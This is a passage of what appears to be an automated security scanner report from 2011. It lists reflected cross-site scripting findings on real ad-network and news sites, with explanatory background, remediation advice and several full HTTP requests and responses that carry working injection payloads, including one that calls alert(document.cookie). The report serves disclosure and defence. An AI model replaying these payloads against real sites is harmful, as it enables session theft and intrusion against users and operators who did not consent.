https://secure.smartphoneexperts.com/content/customercare/page-status.htm [REST URL parameter 3]
https://secure.smartphoneexperts.com/content/customercare/page-status.htm [REST URL parameter 3]
https://secure.smartphoneexperts.com/content/customercare6eabd%22-alert(1)-%222ec977d129/images/androidcentral/ab_test_11/ac_hero_bg2.jpg [REST URL parameter 2]
https://secure.smartphoneexperts.com/content/customercare6eabd%22-alert(1)-%222ec977d129/images/androidcentral/ab_test_11/ac_hero_bg2.jpg [REST URL parameter 3]
https://secure.smartphoneexperts.com/content/customercare6eabd%22-alert(1)-%222ec977d129/images/androidcentral/ab_test_11/ac_hero_bg2.jpg [REST URL parameter 4]
https://secure.smartphoneexperts.com/content/customercare6eabd%22-alert(1)-%222ec977d129/images/androidcentral/ab_test_11/ac_hero_bg2.jpg [REST URL parameter 5]
http://seg.sharethis.com/partners.php [partner parameter]
http://slashphone.us.intellitxt.com/al.asp [jscallback parameter]
http://slashphone.us.intellitxt.com/intellitxt/front.asp [name of an arbitrarily supplied request parameter]
http://slashphone.us.intellitxt.com/v4/init [jscallback parameter]
http://slashphone.us.intellitxt.com/v4/init [name of an arbitrarily supplied request parameter]
http://store.androidcentral.com/belkin-headphone-splitter-y-adapter/11A75A6767.htm [REST URL parameter 2]
http://store.androidcentral.com/cart.htm [REST URL parameter 1]
http://store.androidcentral.com/content/customercare/index.htm [REST URL parameter 2]
http://store.androidcentral.com/content/customercare/index.htm [REST URL parameter 3]
http://store.androidcentral.com/content/customercare/page-shipping.htm [REST URL parameter 2]
http://store.androidcentral.com/content/customercare/page-shipping.htm [REST URL parameter 3]
http://store.androidcentral.com/external_marketing/js_a_v1.php [width parameter]
http://store.androidcentral.com/jabra-bt2080-bluetooth-headset/9A32A5717.htm [REST URL parameter 2]
http://tag.admeld.com/ad/json [callback parameter]
http://tag.admeld.com/ad/json [container parameter]
http://tag.admeld.com/ad/json [placement parameter]
http://tag.admeld.com/ad/json [site_id parameter]
http://tag.contextweb.com/TagPublish/getjs.aspx [action parameter]
http://tag.contextweb.com/TagPublish/getjs.aspx [cwadformat parameter]
http://tag.contextweb.com/TagPublish/getjs.aspx [cwheight parameter]
http://tag.contextweb.com/TagPublish/getjs.aspx [cwpid parameter]
http://tag.contextweb.com/TagPublish/getjs.aspx [cwpnet parameter]
http://tag.contextweb.com/TagPublish/getjs.aspx [cwrun parameter]
http://tag.contextweb.com/TagPublish/getjs.aspx [cwtagid parameter]
http://tag.contextweb.com/TagPublish/getjs.aspx [cwwidth parameter]
http://tap.rubiconproject.com/partner/agent/rubicon/insight.js [&ak parameter]
http://tap.rubiconproject.com/partner/agent/rubicon/insight.js [as parameter]
http://tap.rubiconproject.com/partner/agent/rubicon/insight.js [cb parameter]
http://this.content.served.by.adshuffle.com/p/kl/46/799/r/12/4/8/ast0k3n/cj_K_lW0d4_KFHtXV6PPxtDmPIBUxUED/view.html [[Place%20Your%20Cache%20Buster%20ID%20here]&ASTPCT parameter]
http://this.content.served.by.adshuffle.com/p/kl/46/799/r/12/4/8/ast0k3n/cj_K_lW0d4_KFHtXV6PPxtDmPIBUxUED/view.html [[Place%20Your%20Cache%20Buster%20ID%20here]&ASTPCT parameter]
http://this.content.served.by.adshuffle.com/p/kl/46/799/r/12/4/8/ast0k3n/iNIxevlHF5nPIMRa2RErgj_SiOwKJhEXwW6CKnglhixFGYeVivba-oTLnOWMrlgH/view.html [%5BPlace%20Your%20Cache%20Buster%20ID%20here%5D&ASTPCT parameter]
http://this.content.served.by.adshuffle.com/p/kl/46/799/r/12/4/8/ast0k3n/iNIxevlHF5nPIMRa2RErgj_SiOwKJhEXwW6CKnglhixFGYeVivba-oTLnOWMrlgH/view.html [%5BPlace%20Your%20Cache%20Buster%20ID%20here%5D&ASTPCT parameter]
http://weathergang.washingtonpost.com/rest/conditions/20001j [jsonp parameter]
http://widgets.vodpod.com/javascripts/recent_videos.js [id parameter]
http://widgets.vodpod.com/javascripts/recent_videos.js [options[div_id] parameter]
http://widgets.vodpod.com/javascripts/recent_videos.js [options[div_id] parameter]
http://www.gather.com/6360d%3Cimg+src=a+onerror=alert(1)%3E1b6979d15ce [REST URL parameter 1]
http://www.gather.com/6360d%3Cimg+src=a+onerror=alert(1)%3E1b6979d15ce [REST URL parameter 1]
http://www.gather.com/6360d%3Cimg+src=a+onerror=alert(1)%3E1b6979d15ce [REST URL parameter 1]
http://www.gather.com/URI+SYNTAX+EXCEPTION [REST URL parameter 1]
http://www.gather.com/URI+SYNTAX+EXCEPTION [REST URL parameter 1]
http://www.gather.com/a [REST URL parameter 1]
http://www.gather.com/a [REST URL parameter 1]
http://www.gather.com/favicon.ico [REST URL parameter 1]
http://www.gather.com/favicon.ico [REST URL parameter 1]
http://www.gather.com/global_andre.css [REST URL parameter 1]
http://www.gather.com/global_andre.css [REST URL parameter 1]
http://www.gather.com/login.action [REST URL parameter 1]
http://www.gather.com/login.action [REST URL parameter 1]
http://www.gather.com/login.action [beamBack parameter]
http://www.gather.com/login.action [beamBack parameter]
http://www.geek.com/articles/geek-pick/google-music-to-launch-in-beta-at-io-2011-20110510/ [REST URL parameter 3]
http://www.geek.com/articles/geek-pick/google-music-to-launch-in-beta-at-io-2011-20110510/ [name of an arbitrarily supplied request parameter]
http://www.geek.com/articles/geek-pick/google-music-to-launch-in-beta-at-io-2011-20110510/ [name of an arbitrarily supplied request parameter]
http://www.geek.com/images/phpThumb.php [REST URL parameter 2]
http://www.geek.com/images/phpThumb.php [name of an arbitrarily supplied request parameter]
http://www.geek.com/images/phpThumb.php [src parameter]
http://www.geek.com/wp-content/plugins/digg-digg/css/diggdigg-style.css [REST URL parameter 1]
http://www.geek.com/wp-content/plugins/digg-digg/css/diggdigg-style.css [REST URL parameter 2]
http://www.geek.com/wp-content/plugins/digg-digg/css/diggdigg-style.css [REST URL parameter 3]
http://www.geek.com/wp-content/plugins/digg-digg/css/diggdigg-style.css [REST URL parameter 4]
http://www.geek.com/wp-content/plugins/digg-digg/css/diggdigg-style.css [REST URL parameter 5]
http://www.geek.com/wp-content/plugins/wp-polls/polls-css.css [REST URL parameter 1]
http://www.geek.com/wp-content/plugins/wp-polls/polls-css.css [REST URL parameter 2]
http://www.geek.com/wp-content/plugins/wp-polls/polls-css.css [REST URL parameter 3]
http://www.geek.com/wp-content/plugins/wp-polls/polls-css.css [REST URL parameter 4]
http://www.geek.com/wp-content/plugins/wp-polls/polls-js.js [REST URL parameter 1]
http://www.geek.com/wp-content/plugins/wp-polls/polls-js.js [REST URL parameter 2]
http://www.geek.com/wp-content/plugins/wp-polls/polls-js.js [REST URL parameter 3]
http://www.geek.com/wp-content/plugins/wp-polls/polls-js.js [REST URL parameter 4]
http://www.geek.com/wp-content/themes/geek6/favicon.ico [REST URL parameter 1]
http://www.geek.com/wp-content/themes/geek6/favicon.ico [REST URL parameter 2]
http://www.geek.com/wp-content/themes/geek6/favicon.ico [REST URL parameter 3]
http://www.geek.com/wp-content/themes/geek6/favicon.ico [REST URL parameter 4]
http://www.geek.com/wp-content/themes/geek6/style.css [REST URL parameter 1]
http://www.geek.com/wp-content/themes/geek6/style.css [REST URL parameter 2]
http://www.geek.com/wp-content/themes/geek6/style.css [REST URL parameter 3]
http://www.geek.com/wp-content/themes/geek6/style.css [REST URL parameter 4]
http://www.geek.com/wp-content/themes/geek6/styles/redesign.css [REST URL parameter 1]
http://www.geek.com/wp-content/themes/geek6/styles/redesign.css [REST URL parameter 2]
http://www.geek.com/wp-content/themes/geek6/styles/redesign.css [REST URL parameter 3]
http://www.geek.com/wp-content/themes/geek6/styles/redesign.css [REST URL parameter 4]
http://www.geek.com/wp-content/themes/geek6/styles/redesign.css [REST URL parameter 5]
http://www.geek.com/wp-includes/js/jquery/jquery.js [REST URL parameter 1]
http://www.geek.com/wp-includes/js/jquery/jquery.js [REST URL parameter 2]
http://www.geek.com/wp-includes/js/jquery/jquery.js [REST URL parameter 3]
http://www.geek.com/wp-includes/js/jquery/jquery.js [REST URL parameter 4]
http://www.geek.com/wp-includes/js/l10n.js [REST URL parameter 1]
http://www.geek.com/wp-includes/js/l10n.js [REST URL parameter 2]
http://www.geek.com/wp-includes/js/l10n.js [REST URL parameter 3]
http://www.huffingtonpost.com/2011/05/07/rick-santorum-south-carolina-straw-poll_n_859012.html [name of an arbitrarily supplied request parameter]
http://www.huffingtonpost.com/ads/check_flights.php [name of an arbitrarily supplied request parameter]
http://www.huffingtonpost.com/ads/check_flights.php [spot parameter]
http://www.huffingtonpost.com/badge/badges_json_v2.php [cb parameter]
http://www.huffingtonpost.com/badge/badges_json_v2.php [gn parameter]
http://www.huffingtonpost.com/badge/badges_json_v2.php [sn parameter]
http://www.huffingtonpost.com/permalink-tracker.html [vertical parameter]
http://www.knowyourmobile.com/features/881740/google_io_what_to_expect.html [REST URL parameter 1]
http://www.knowyourmobile.com/features/881740/google_io_what_to_expect.html [REST URL parameter 1]
http://www.knowyourmobile.com/features/881740/google_io_what_to_expect.html [REST URL parameter 2]
http://www.knowyourmobile.com/features/881740/google_io_what_to_expect.html [REST URL parameter 3]
http://www.knowyourmobile.com/features/881740/google_io_what_to_expect.html [name of an arbitrarily supplied request parameter]
http://www.knowyourmobile.com/features/881740/google_io_what_to_expect.html [name of an arbitrarily supplied request parameter]
http://www.philly.com/philly/news/nation_world/121548659.html [name of an arbitrarily supplied request parameter]
http://www.philly.com/philly/news/nation_world/121548659.html [name of an arbitrarily supplied request parameter]
http://www.washingtonpost.com//vendor/survey-gizmo.jsp [pollID parameter]
http://www.washingtonpost.com//vendor/survey-gizmo.jsp [pollURL parameter]
http://www.washingtonpost.com/rf/image_606w/WashingtonPost/Content/Blogs/blogpost/201105/Images/May%209/photos.jpg [REST URL parameter 10]
http://www.washingtonpost.com/rf/image_606w/WashingtonPost/Content/Blogs/blogpost/201105/Images/May%209/photos.jpg [REST URL parameter 3]
http://www.washingtonpost.com/rf/image_606w/WashingtonPost/Content/Blogs/blogpost/201105/Images/May%209/photos.jpg [REST URL parameter 4]
http://www.washingtonpost.com/rf/image_606w/WashingtonPost/Content/Blogs/blogpost/201105/Images/May%209/photos.jpg [REST URL parameter 5]
http://www.washingtonpost.com/rf/image_606w/WashingtonPost/Content/Blogs/blogpost/201105/Images/May%209/photos.jpg [REST URL parameter 6]
http://www.washingtonpost.com/rf/image_606w/WashingtonPost/Content/Blogs/blogpost/201105/Images/May%209/photos.jpg [REST URL parameter 7]
http://www.washingtonpost.com/rf/image_606w/WashingtonPost/Content/Blogs/blogpost/201105/Images/May%209/photos.jpg [REST URL parameter 8]
http://www.washingtonpost.com/rf/image_606w/WashingtonPost/Content/Blogs/blogpost/201105/Images/May%209/photos.jpg [REST URL parameter 9]
http://fw.adsafeprotected.com/rjss/bs.serving-sys.com/9349/83990/BurstingPipe/adServer.bs [Referer HTTP header]
http://a.collective-media.net/cmadj/idgt.slashgear/article_above [cli cookie]
http://a.collective-media.net/cmadj/ns.androidcentral/general [cli cookie]
http://a.collective-media.net/cmadj/ns.androidcentral/general/archive [cli cookie]
http://a.collective-media.net/cmadj/ns.knowyourmobile/general [cli cookie]
http://a.collective-media.net/cmadj/ns.slashgear/general [cli cookie]
http://a.collective-media.net/cmadj/q1.philly/news [cli cookie]
http://ar.voicefive.com/bmx3/broker.pli [BMX_3PC cookie]
http://ar.voicefive.com/bmx3/broker.pli [BMX_G cookie]
http://ar.voicefive.com/bmx3/broker.pli [UID cookie]
http://ar.voicefive.com/bmx3/broker.pli [ar_p81479006 cookie]
http://ar.voicefive.com/bmx3/broker.pli [ar_p82806590 cookie]
http://ar.voicefive.com/bmx3/broker.pli [ar_p84552060 cookie]
http://ar.voicefive.com/bmx3/broker.pli [ar_p90175839 cookie]
http://ar.voicefive.com/bmx3/broker.pli [ar_p90452457 cookie]
http://ar.voicefive.com/bmx3/broker.pli [ar_p91136705 cookie]
http://ar.voicefive.com/bmx3/broker.pli [ar_p91300630 cookie]
http://ar.voicefive.com/bmx3/broker.pli [ar_p92429851 cookie]
http://ar.voicefive.com/bmx3/broker.pli [ar_p97174789 cookie]
http://ar.voicefive.com/bmx3/broker.pli [ar_s_p81479006 cookie]
http://c7.zedo.com/bar/v16-406/c5/jsc/fm.js [ZEDOIDA cookie]
http://c7.zedo.com/bar/v16-406/c5/jsc/fmr.js [ZEDOIDA cookie]
http://optimized-by.rubiconproject.com/a/8430/13646/27091-15.js [ruid cookie]
http://optimized-by.rubiconproject.com/a/dk.js [ruid cookie]
http://seg.sharethis.com/getSegment.php [__stid cookie]
http://seg.sharethis.com/partners.php [__stid cookie]
http://tag.admeld.com/ad/iframe/593/tpm/300x250/None [meld_sess cookie]
http://tag.admeld.com/ad/iframe/593/tpm/300x250/None [meld_sess cookie]
http://tag.admeld.com/ad/iframe/593/tpm/300x250/below_fold [meld_sess cookie]
http://tag.admeld.com/ad/iframe/593/tpm/300x250/below_fold [meld_sess cookie]
http://tag.admeld.com/ad/iframe/607/salonmedia/160x600/above_fold [meld_sess cookie]
http://tag.admeld.com/ad/iframe/607/salonmedia/160x600/above_fold [meld_sess cookie]
http://tag.admeld.com/ad/iframe/607/salonmedia/160x600/default_criteo [meld_sess cookie]
http://tag.admeld.com/ad/iframe/607/salonmedia/160x600/default_criteo [meld_sess cookie]
http://tag.admeld.com/ad/iframe/607/salonmedia/300x250/default_criteo [meld_sess cookie]
http://tag.admeld.com/ad/iframe/607/salonmedia/300x250/default_criteo [meld_sess cookie]
http://tag.admeld.com/ad/iframe/610/unified/728x90/pmh_657143_29771683 [meld_sess cookie]
http://tag.admeld.com/ad/iframe/610/unified/728x90/pmh_657143_29771683 [meld_sess cookie]
http://tag.admeld.com/ad/json [meld_sess cookie]
http://tag.contextweb.com/TagPublish/getad.aspx [V cookie]
http://tag.contextweb.com/TagPublish/getad.aspx [cwbh1 cookie]
http://tag.contextweb.com/TagPublish/getad.aspx [cwbh1 cookie]

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:

Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).

In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

4.1. http://a.collective-media.net/ad/q1.philly/news [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://a.collective-media.net
Path:	/ad/q1.philly/news

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 2b6c3<script>alert(1)</script>c99cf9118d4 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /ad2b6c3<script>alert(1)</script>c99cf9118d4/q1.philly/news;sz=728x90;click0=;ord=[timestamp]? HTTP/1.1
Host: a.collective-media.net
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.philly.com/philly/news/nation_world/121548659.html?ef135%27%3balert(document.cookie)//4b169261d24=1
Cookie: JY57=3kJqRfVWIsliNzmh12p72Uiw-sYF7o0ex_JQsPY6aZLx62OOd4kyhMQ; cli=11fda490648f83c; dc=dc; nadp=1

Response

HTTP/1.1 404 Not Found
Server: nginx/0.8.53
Content-Type: text/html
Content-Length: 115
Vary: Accept-Encoding
Date: Tue, 10 May 2011 14:20:06 GMT
Connection: close

unknown path /ad2b6c3<script>alert(1)</script>c99cf9118d4/q1.philly/news;cmw=nurl;sz=728x90;click0=;ord=[timestamp]

4.2. http://a.collective-media.net/adj/idgt.slashgear/article_above [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://a.collective-media.net
Path:	/adj/idgt.slashgear/article_above

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 70ecd'-alert(1)-'b92e5d76854 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adj/idgt.slashgear70ecd'-alert(1)-'b92e5d76854/article_above;sec=article;fold=above;tile=1;sz=728x90;ord=8260554892476648? HTTP/1.1
Host: a.collective-media.net
Proxy-Connection: keep-alive
Referer: http://www.slashgear.com/banners/728x90.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cli=11f8f328940989e; JY57=3c8l6OS0i837DN4jhYrey9dDCbp7hYUThCr39Jsy7-rbCSEhPjb6zQg; targ=1; apnx=1; qcms=1; nadp=1; qcdp=1; exdp=1; ibvr=1; brlg=1; mmpg=1; blue=1; dc=dc

Response

HTTP/1.1 200 OK
Server: nginx/0.8.53
Content-Type: application/x-javascript
P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Content-Length: 493
Date: Tue, 10 May 2011 13:36:17 GMT
Connection: close
Vary: Accept-Encoding
Set-Cookie: dc=dc; domain=collective-media.net; path=/; expires=Thu, 09-Jun-2011 13:36:17 GMT

var cmPageUrl; if(self == top) cmPageURL = document.location.href; else cmPageURL = document.referrer;
var ifr = (self==top ? '' : 'env=ifr;');
document.write('<scr'+'ipt language="javascript" src="http://a.collective-media.net/cmadj/idgt.slashgear70ecd'-alert(1)-'b92e5d76854/article_above;sec=article;fold=above;tile=1;sz=728x90;net=idgt;ord=8260554892476648;'+ifr+'ord1=' +Math.floor(Math.random() * 1000000) + ';cmpgurl='+escape(escape(cmPageURL))+'?">
...[SNIP]...

4.3. http://a.collective-media.net/adj/idgt.slashgear/article_above [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://a.collective-media.net
Path:	/adj/idgt.slashgear/article_above

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 2160e'-alert(1)-'33e66250cd2 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adj/idgt.slashgear/article_above2160e'-alert(1)-'33e66250cd2;sec=article;fold=above;tile=1;sz=728x90;ord=8260554892476648? HTTP/1.1
Host: a.collective-media.net
Proxy-Connection: keep-alive
Referer: http://www.slashgear.com/banners/728x90.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cli=11f8f328940989e; JY57=3c8l6OS0i837DN4jhYrey9dDCbp7hYUThCr39Jsy7-rbCSEhPjb6zQg; targ=1; apnx=1; qcms=1; nadp=1; qcdp=1; exdp=1; ibvr=1; brlg=1; mmpg=1; blue=1; dc=dc

Response

HTTP/1.1 200 OK
Server: nginx/0.8.53
Content-Type: application/x-javascript
P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Content-Length: 493
Date: Tue, 10 May 2011 13:36:21 GMT
Connection: close
Vary: Accept-Encoding
Set-Cookie: dc=dc; domain=collective-media.net; path=/; expires=Thu, 09-Jun-2011 13:36:21 GMT

var cmPageUrl; if(self == top) cmPageURL = document.location.href; else cmPageURL = document.referrer;
var ifr = (self==top ? '' : 'env=ifr;');
document.write('<scr'+'ipt language="javascript" src="http://a.collective-media.net/cmadj/idgt.slashgear/article_above2160e'-alert(1)-'33e66250cd2;sec=article;fold=above;tile=1;sz=728x90;net=idgt;ord=8260554892476648;'+ifr+'ord1=' +Math.floor(Math.random() * 1000000) + ';cmpgurl='+escape(escape(cmPageURL))+'?">
...[SNIP]...

4.4. http://a.collective-media.net/adj/idgt.slashgear/article_above [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://a.collective-media.net
Path:	/adj/idgt.slashgear/article_above

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 7c976'-alert(1)-'4e5e9bb4060 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adj/idgt.slashgear/article_above;sec=article;fold=above;tile=1;sz=728x90;ord=8260554892476648?&7c976'-alert(1)-'4e5e9bb4060=1 HTTP/1.1
Host: a.collective-media.net
Proxy-Connection: keep-alive
Referer: http://www.slashgear.com/banners/728x90.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cli=11f8f328940989e; JY57=3c8l6OS0i837DN4jhYrey9dDCbp7hYUThCr39Jsy7-rbCSEhPjb6zQg; targ=1; apnx=1; qcms=1; nadp=1; qcdp=1; exdp=1; ibvr=1; brlg=1; mmpg=1; blue=1; dc=dc

Response

HTTP/1.1 200 OK
Server: nginx/0.8.53
Content-Type: application/x-javascript
P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Content-Length: 497
Date: Tue, 10 May 2011 13:36:10 GMT
Connection: close
Vary: Accept-Encoding
Set-Cookie: dc=dc; domain=collective-media.net; path=/; expires=Thu, 09-Jun-2011 13:36:10 GMT

var cmPageUrl; if(self == top) cmPageURL = document.location.href; else cmPageURL = document.referrer;
var ifr = (self==top ? '' : 'env=ifr;');
document.write('<scr'+'ipt language="javascript" src="http://a.collective-media.net/cmadj/idgt.slashgear/article_above;sec=article;fold=above;tile=1;sz=728x90;net=idgt;ord=8260554892476648?&7c976'-alert(1)-'4e5e9bb4060=1;'+ifr+'ord1=' +Math.floor(Math.random() * 1000000) + ';cmpgurl='+escape(escape(cmPageURL))+'?">
...[SNIP]...

4.5. http://a.collective-media.net/adj/idgt.slashgear/article_above [sec parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://a.collective-media.net
Path:	/adj/idgt.slashgear/article_above

Issue detail

The value of the sec request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload bd8ab'-alert(1)-'a2aff8f33cb was submitted in the sec parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adj/idgt.slashgear/article_above;sec=article;fold=above;tile=1;sz=728x90;ord=8260554892476648?bd8ab'-alert(1)-'a2aff8f33cb HTTP/1.1
Host: a.collective-media.net
Proxy-Connection: keep-alive
Referer: http://www.slashgear.com/banners/728x90.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cli=11f8f328940989e; JY57=3c8l6OS0i837DN4jhYrey9dDCbp7hYUThCr39Jsy7-rbCSEhPjb6zQg; targ=1; apnx=1; qcms=1; nadp=1; qcdp=1; exdp=1; ibvr=1; brlg=1; mmpg=1; blue=1; dc=dc

Response

HTTP/1.1 200 OK
Server: nginx/0.8.53
Content-Type: application/x-javascript
P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Content-Length: 494
Date: Tue, 10 May 2011 13:35:33 GMT
Connection: close
Vary: Accept-Encoding
Set-Cookie: dc=dc; domain=collective-media.net; path=/; expires=Thu, 09-Jun-2011 13:35:33 GMT

var cmPageUrl; if(self == top) cmPageURL = document.location.href; else cmPageURL = document.referrer;
var ifr = (self==top ? '' : 'env=ifr;');
document.write('<scr'+'ipt language="javascript" src="http://a.collective-media.net/cmadj/idgt.slashgear/article_above;sec=article;fold=above;tile=1;sz=728x90;net=idgt;ord=8260554892476648?bd8ab'-alert(1)-'a2aff8f33cb;'+ifr+'ord1=' +Math.floor(Math.random() * 1000000) + ';cmpgurl='+escape(escape(cmPageURL))+'?">
...[SNIP]...

4.6. http://a.collective-media.net/adj/ns.androidcentral/general [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://a.collective-media.net
Path:	/adj/ns.androidcentral/general

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload cb074'-alert(1)-'086f2a8c269 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adj/ns.androidcentralcb074'-alert(1)-'086f2a8c269/general;ppos=atf;kw=;tile=1;dcopt=ist;sz=728x90;ord=%202250960881356150? HTTP/1.1
Host: a.collective-media.net
Proxy-Connection: keep-alive
Referer: http://www.androidcentral.com/android-central-google-io-2011
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cli=11f8f328940989e; JY57=3c8l6OS0i837DN4jhYrey9dDCbp7hYUThCr39Jsy7-rbCSEhPjb6zQg; targ=1; apnx=1; qcms=1; nadp=1; qcdp=1; exdp=1; ibvr=1; brlg=1; mmpg=1; dc=dc; blue=1

Response

HTTP/1.1 200 OK
Server: nginx/0.8.53
Content-Type: application/x-javascript
P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Content-Length: 491
Date: Tue, 10 May 2011 13:34:03 GMT
Connection: close
Vary: Accept-Encoding
Set-Cookie: dc=dc; domain=collective-media.net; path=/; expires=Thu, 09-Jun-2011 13:34:03 GMT

var cmPageUrl; if(self == top) cmPageURL = document.location.href; else cmPageURL = document.referrer;
var ifr = (self==top ? '' : 'env=ifr;');
document.write('<scr'+'ipt language="javascript" src="http://a.collective-media.net/cmadj/ns.androidcentralcb074'-alert(1)-'086f2a8c269/general;ppos=atf;kw=;tile=1;dcopt=ist;sz=728x90;net=ns;ord=%202250960881356150;'+ifr+'ord1=' +Math.floor(Math.random() * 1000000) + ';cmpgurl='+escape(escape(cmPageURL))+'?">
...[SNIP]...

4.7. http://a.collective-media.net/adj/ns.androidcentral/general [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://a.collective-media.net
Path:	/adj/ns.androidcentral/general

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload cd302'-alert(1)-'751a437e7b3 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adj/ns.androidcentral/generalcd302'-alert(1)-'751a437e7b3;ppos=atf;kw=;tile=1;dcopt=ist;sz=728x90;ord=%202250960881356150? HTTP/1.1
Host: a.collective-media.net
Proxy-Connection: keep-alive
